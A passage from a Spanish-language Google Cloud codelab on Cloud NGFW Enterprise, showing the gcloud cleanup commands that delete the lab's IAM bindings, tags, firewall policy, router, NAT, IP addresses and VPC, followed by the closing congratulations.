gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Quita la clave y los valores de la etiqueta:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Borra la política de red y la asociación del firewall de Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Borra Cloud Router y Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Borra las direcciones IP reservadas:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Por último, borra la subred y la red de VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. ¡Felicitaciones!

¡Felicitaciones! Completaste correctamente el codelab de NGFW empresarial de Cloud para la inspección este-oeste y norte-sur.